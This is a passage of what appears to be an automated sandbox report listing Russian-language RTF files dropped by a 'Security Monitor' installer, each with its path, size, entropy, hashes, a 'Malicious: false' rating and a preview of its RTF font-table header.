SHA-512:	A8FB380CD3DB166ECF2174097158B4261020E8AB376A2B6180958BC615CEF3F7CFBC4D4D437ADC454801FC9193E80A94B56C54B4CB2CAF4485043F34B132F99C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-FD9G4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42126
Entropy (8bit):	5.024542957132508
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLVtwYMgT+h6asH7UlKBGcg5dEmR7iC//+U1zfymCRwFOcEz:q49OUnwIA92
MD5:	08B4567798ABE579F2D14EA033F94E31
SHA1:	28E3F5CB129DB9B3B33E104773609BF86C8A6861
SHA-256:	2EEB8BAA34230B1D075F9E9C59289BC3B1ACDAB08EF0A181A1FB43F6F3F1BD41
SHA-512:	7F8F5598E931CCCBB0F259AFDF369E7A8FDCBBFE1C222EE8B4D5FF16FE502D4F9BDF54799D3C8420FC5903624DCC7E0412197A067FBA3EF82862ECD491C6F312
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-GHOD4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48379
Entropy (8bit):	4.996608771533116
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLV9xB3T7JileOhvbNbZWvsn53NB0DNZGky8OF5x1A58GaQg:q49OUnIIA9p
MD5:	B8EA7A3C55CE02A64BA0AF23B9B85E3E
SHA1:	8DFFB3874BBD2EA54BE1E6D87356126B1E73F290
SHA-256:	792111EFE4C09E3F68D0E2A5344ACC12D63B351BAE5F1654FCC36F2471ED7667
SHA-512:	A8A46F16EC9F8CE3670B171DD90F84F9D1F6CD15FC0428E3DB95ADB4AE302D0A82FF837A9C1DD32EAEEB7D8A58F942DB79461FB5BA36C869CBF4EA7210747007
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-HPV3G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49985
Entropy (8bit):	5.016054674805171
Encrypted:	false
SSDEEP:	768:qqegxdUjOcPI0QhhiLVptabQhOsWxspoudZdRdud9dWlxjRw4L41PcQhiuOdcJpw:qqH7UnexIA9k
MD5:	6817C14DB33376EA13F5135582FEF07A
SHA1:	AC55EF25E5BA0C63319C2B7750AD3FB3B6141D1D
SHA-256:	8E6A77CDCF0EB74491B22151BCC19798620754E7F069D76227F8C2C1E28778B7
SHA-512:	81B3E721842C1F1CA3581AF69CB6495756EECAFD14385C512E5CEDFAF98BBED387D6B9AB27ED76754B17FFDB8B2E5414108702BD6E5B4A8DA27E821D9D7FF3B6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-IITLO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42713
Entropy (8bit):	5.047774415882159
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epbPybO9FO0I0cmG8/FRaZHIZ/6A95:qq4ePXIA95
MD5:	FC56B09D7F10AE95E575F472B2CE9AB8
SHA1:	806D290A16EE633A1D79B8D916FE00D508ECD51D
SHA-256:	75B89487ADE95BD0450DA43B8978AB7E37AD22CAA7DEDCB9D599EEA0EE0E8A04
SHA-512:	7B0948BCE8EE5AC36E7C91D3405F041973B6F9A6D316E64454E9E6A3B2A316CF65C03D1CE7041B9DD5FBEA3F94F175138735336D71CA927FB68D66D92413CC2C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-IOPDE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38593
Entropy (8bit):	5.02789644916169
Encrypted:	false
SSDEEP:	768:q4e6xdUjOcPI0QhhiLVpUGXnT9bZhdfGjlrqCHy/RKECA13GPkmZ/6A9S:q4L7UnoIA9S
MD5:	030CBC2FE247F98453B82ABC39C3C966
SHA1:	D5F3102D3878F32C5A5FC7AEE0AF3F63DDB74119
SHA-256:	88E89133FC2542C74552BC4AD65320B01F08ED3A1E5269C008A0236BAF0C0893
SHA-512:	86109DEF32876A40F30B9A4D7D5366BE4FA07D62F3019CC269F3F1A7BD68C2C6597BD2341E0CEAC72951D2B8C66DAEBBE46278ECCAE7CC4D54F32FA9C5B833ED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-IS96C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44589
Entropy (8bit):	5.042107887527953
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epnBBbq1FkSkek9kukBkrkSkP9MkSI6Ioum:qq4ABXIA9N
MD5:	A408ECED60101314102C175C7FE3E9D7
SHA1:	EBD937ECBFE7FDCC84DF27E7AEED4AC53FAA488A
SHA-256:	2649AAF142678E0D5B5DBEEC454E5D04DD191CE636F6EC5231A7A633C754252C
SHA-512:	B5E5B24DAF9BB0EC263E37AB11B1A66F50C3C4742F3EDB674AEF6FCA8B1F1C566D2F5CF59C9CA95779C9D055CC58B80770B9374EE605D110312F0C6E761E0BA0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-MCGCD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45355
Entropy (8bit):	5.032998271538751
Encrypted:	false
SSDEEP:	768:qqeXxd/1Ca9DGi3w2EHnT2njX8x3FXbv4CD5klkhuhr7RVRatot7kzkAkqkVk2gJ:qqoC8IA9E
MD5:	37B0C0E48F0AF77161430D5DE894A950
SHA1:	9D27E00A6B141CA123DA1E9E0C7C768CB89910E0
SHA-256:	61FCA2437288DDC4692FE93CCE90C3C72C0ADDBD08C5662F391F6EF694B27256
SHA-512:	AC5463F888305FA6BBAB57CA80570B51249A2719C8A1B116B4EB574EEB2D724718CC676092CEA9241F3B72C2B2D0C63137553A7CE4DD8A871ED46E37D63FFEC1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-MUJ9G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43270
Entropy (8bit):	5.005983710564955
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akJOc7jgskl7rVGGH249LYeoYGEovrMoQJhYNgDPsKknWeo7L:2aFk9Oc7cskl/VGGW+2/Z/6A92
MD5:	4AF18EE9439DF76D12E065E6AA400E6F
SHA1:	B9B939259BD0012DDF6A025199CB670F7B3C0CCE
SHA-256:	DF734E3254D106D22C2C57D81E1C8BA28DAB721488DBB48930516B94948A19DF
SHA-512:	80534BA7923F78792211AF00922D7B9E15A4FB25BF1661353BE820690EF3CDED245AC9BC951CF2BC6F48D8B9C5315DDE74DA9FC2CB8BE097ADECC3BE3EA07270
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-N4EIP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42635
Entropy (8bit):	5.046553170453071
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epb/Vbc9DuUoU8Gmgflx6Z5zZ/6A9t:qq4e/DIA9t
MD5:	60B7129A13E0CE865F60703FC49D7E1D
SHA1:	96BDB21054BEE9F42FEF53360847FCE57AE3269B
SHA-256:	C68038C41212344C10D0194438D8BF503F3CAB8ED9AEA1B24E91EF989CC14923
SHA-512:	022BCBD14748D9C947F7B93EAC6D38D59F5BD39DFF22E62E16F1C5EC6FEF50BECA4AADE8CFBF745AF7055CEEB91F3DBB7D42117FADBE7149F627262E9654C66C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-NJI8P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43030
Entropy (8bit):	5.037181036721856
Encrypted:	false
SSDEEP:	768:qqel4jeXCpMF2njX8x3JLjwUtqYepjRBcnjX8x3TRbyqfVHVU3icdXPIZnZ/6A9C:qq3pDIA9C
MD5:	67B098FD7DC727E81D9D9FB9A520E1CE
SHA1:	F6D0526FD0E5F10956988840D866DD2222ABF783
SHA-256:	C3AF56E516BBA805D97730CC1303C32539C72A4E93F598F599EE4DE1756AB0BF
SHA-512:	65718F4601D9636CE73B3B5D2E5EDC62B34DAE818C7450033BEC2221916E8AC81316D6EB3F3690186E3A505F82192A4C1EE34D12606690B3B266A2BEDE2F7DEA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-P3CN5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	61781
Entropy (8bit):	4.857520301127485
Encrypted:	false
SSDEEP:	768:2aTIM0LDyaeOsDvEpd1rTmMYm7JRFOtf1SPuJtxLs2coKPvZZ0Z/6A97:2asMQwPIA97
MD5:	78E67BA68FD674E528877B2C4ED0EA13
SHA1:	2393978ADD7BA637E654A9FDB1815BB2D4000BE2
SHA-256:	E023BDA87BC91024BDF8117E2E8FD19628ED0006DF399033A1FDF0A261CD90F8
SHA-512:	D3306182B95C93CB4DDDD7219239F8F927EDD1BF5F3134B89E19637760B8E3F051EBA9ED8EC193CA31D04FDFF2FD75AF6A3F119C357E244DCD7DB151B8061753
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 0202060305040502

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-S9P3L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48785
Entropy (8bit):	5.035435060271824
Encrypted:	false
SSDEEP:	768:qqFy4a4jeDCcJ+Lj5g5V5V5h5G5P5N5hBcqtqYepnRbK3j10C0O0N0e0x0b0o0g4:qqJ9CxIA92
MD5:	DC2C7249084FEEBFE9F1E4FB3491C9EA
SHA1:	B1F39695D01244B8D85F9FE40D24B809759DB0FA
SHA-256:	D5EE096B03118AA2E7032A80EAD45F1C1D180889E5C0D9140F5C7D999698EFBD
SHA-512:	6B83FF30438154C6D58F7BA35FB6D01DA65D3B696340B522653DB3AEAD830DF67CEF61B1729197E24E8A160558418CBF639E5F31D6D2E990527C1920376FCE0B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-SDGI4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	59300
Entropy (8bit):	4.973759890149894
Encrypted:	false
SSDEEP:	768:qqe+2VXLcpErLVYZx1M8j5g5V5V5h5G5P5N5hBcqtqYepAkVZEdvI9TMMf4fPOj/:qqqcshf4fH6IA9h
MD5:	00483C12EB7B2424B5A2C264DBFBAD6F
SHA1:	3038291DC4B40B6C269A24727F175504F09DD532
SHA-256:	BC9B42D7D66A88398A3FFEAB5790818CCB2DF9FA4B24FC8524F86F23930A8ED4
SHA-512:	04B58420762D90E1564AB6635B718FA47CB71795B743CC42FBC7B54B01D6243083C39A99B9A276F9290BC7FC4989AE0970DB35DBDBAAC92E9B80B69FBEC71693
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-UDCT4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50749
Entropy (8bit):	5.025992337478631
Encrypted:	false
SSDEEP:	768:qqFywxd/cCcJ+Lj5g5V5V5h5G5P5N5hBcqtqYepnnbxa10C0O0N0e0x0b0o0g0sq:qq/MlIA9E
MD5:	4091E666BD6CCC6971AE0F510870DB42
